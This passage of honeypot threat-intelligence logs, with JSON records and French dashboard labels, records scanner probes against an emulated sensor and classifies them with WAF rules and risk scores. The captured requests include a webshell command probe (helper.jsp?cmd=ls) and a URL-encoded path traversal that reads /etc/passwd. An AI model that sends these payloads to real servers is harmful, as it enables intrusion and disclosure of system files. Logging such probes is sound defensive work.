AppleWebKit\/536.15 (KHTML like Gecko) Version\/6.0 Safari\/536.16", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950629:webshell-param-cmd" ], "waf_rule_names": [ "rce-0", "nosqli-3", "webshell-param-cmd" ], "request_line": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1", "request_sample": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\/536.15 (KHTML like Gecko) Version\/6.0 Safari\/536.16\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\/", "classification_reason": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "rce_probe" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "b286dde685b4a67c99e6c7646f6fd7e683945fe7", "protocol_details": { "http_method": "GET", "http_path": "\/irj\/helper.jsp", "request_line": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\/536.15 (KHTML like Gecko) Version\/6.0 Safari\/536.16", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\/", "attack_vector": "webshell upload \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/irj\/helper.jsp", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 50 % \u2014 4 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%", "classification_reason_label_fr": "R\u00e8gle WAF \u00ab webshell-param-cmd \u00bb \u00b7 Param\u00e8tres de scan \u00b7 confiance 50%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 58 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 58, "confidence_breakdown": { "waf": 100, "classification": 93, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 64, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 64, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "INT-upstream", "INT-waf-score" ], "tags_summary_labels_fr": [ "Upstream", "Waf Score" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/irj\/helper.jsp", "request_line": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\/536.15 (KHTML like Gecko) Version\/6.0 Safari\/536.16", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "webshell upload \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/irj\/helper.jsp", "evidence_snippet": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\/", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 50 % \u2014 4 tag(s) WAF", "confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 4 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950629:webshell-param-cmd", "http_scanner_params", "http_suspicious_params", "net_sap_web_probe" ] }
30/07/2026 21:49:40 UTC	TCP	2375 · DOCKER	docker	Sonde SAP ICM HTTP Sonde SAP ICM / WebDynpro · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 34
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /irj/helper.jsp?cmd=ls HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM Pourquoi cette classification : Type « sap_web_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 34 Confiance : Confiance 0 % — 7 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /irj/helper.jsp?cmd=ls HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM Requête brute (extrait) GET /irj/helper.jsp?cmd=ls HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 234, "payload_entropy": 5.48034869417965, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 54, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.5, "risk_breakdown": { "waf": 8, "classification": 54, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 34, "tag_count": 7, "anomaly_count": 0, "campaign_key": "ec1c9e9b7debbbc901808f37122eb0c649efb648", "event_fingerprint": "3136e35d9bfd633880cd2b6acfb0daa0dc25b017", "classification_reason": "Type \u00ab sap_web_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 54, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 34, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "1dae8f8c9b89726ac2820155d837803d", "path_pattern_hash": "2dea5f3383fd8694e14eaf8b920fd9fc" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 34 }, "payload_preview": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTM", "request_sample": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTM", "evidence": { "request_sample": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTM", "classification_reason": "Type \u00ab sap_web_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "sap_probe" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "5936f5cfc85d4b3119840b63993d3ad8657f2adc", "protocol_details": { "payload_preview": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTM", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTM", "attack_vector": "Sonde SAP ICM \/ WebDynpro \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 7 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab sap_web_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab sap_web_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 34\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 54, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 34, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 34, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTM", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "Sonde SAP ICM \/ WebDynpro \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/irj\/helper.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTM", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 7 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_sap_web_probe", "sap_web_probe" ] }
30/07/2026 21:49:39 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 32
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload mozi_pattern Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Maci Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 32 Confiance : Confiance 0 % — 5 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Maci Requête brute (extrait) GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1 Accept: / Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 302, "payload_entropy": 5.439121724038656, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 30, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 4.8, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25 }, "risk_score": 32, "tag_count": 5, "anomaly_count": 0, "campaign_key": "e3d7f544a866a533f9cf364e707ea0fc45fd045d", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "3cc07f60e42da67cd429c4f2596cfb32", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 32 }, "payload_preview": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Maci", "request_sample": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/14.1.2 Mobile\/15E148 Safari\/604.1\r\nAccept: \/\r\n", "payload_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Maci", "evidence": { "request_sample": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/14.1.2 Mobile\/15E148 Safari\/604.1\r\nAccept: \/\r\n", "payload_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Maci", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "56ea926b06363f844da129381da8ec833efd5e20", "protocol_details": { "payload_preview": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Maci", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Maci", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 32\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 32, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Maci", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Maci", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:39 UTC	TCP	7001 · HTTP	http	Traversal LFI lfi path traversal · via HTTP:7001 · (tentative d'exploit) · → /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%…	Élevée	Élevé · 66
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1083 TA0001 TA0002 Protocole GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/2… Émulateur HTTP WAF 47 Recommandation Investiguer Tags 950260:lfi-0 950264:lfi-1 950316:lfi-14 950326:rce-0 Cible HTTP GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd Service HTTP Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Élevé · 66 Confiance : Confiance 100 % — 7 tag(s) WAF Protocole émulé 1 Signaux Http Lfi CRS-930100-sub Upstream Waf Score Technique MITRE T1083 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1` User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 Règles WAF lfi-0 lfi-1 lfi-14 rce-0 nosqli-3 k8s-api Payload (extrait) GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Maci Requête brute (extrait) GET /api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 6, "http_path_ext": "%2fetc%2fpasswd", "http_ua_hash": "b60384563afc93673990c6baef7cf06cec78a393", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "f499fcbbb909808e6a8d68ec8171fce360ecc645", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 256, "payload_entropy": 5.346462338349372, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 7.2, "risk_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25 }, "risk_score": 66, "tag_count": 12, "anomaly_count": 0, "campaign_key": "c240e7c1fb7176369b15f42d7c20106ff32c60c7", "event_fingerprint": "34e26da2424033545c3608529055ad71729528a2", "classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 323, "precision_signals": [ "INT-http_lfi", "CRS-930100-sub", "INT-upstream", "INT-waf-score" ], "kb_rule_ids": [ "INT-http_lfi", "CRS-930100-sub", "INT-upstream", "INT-waf-score" ], "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 66, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "http", "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", 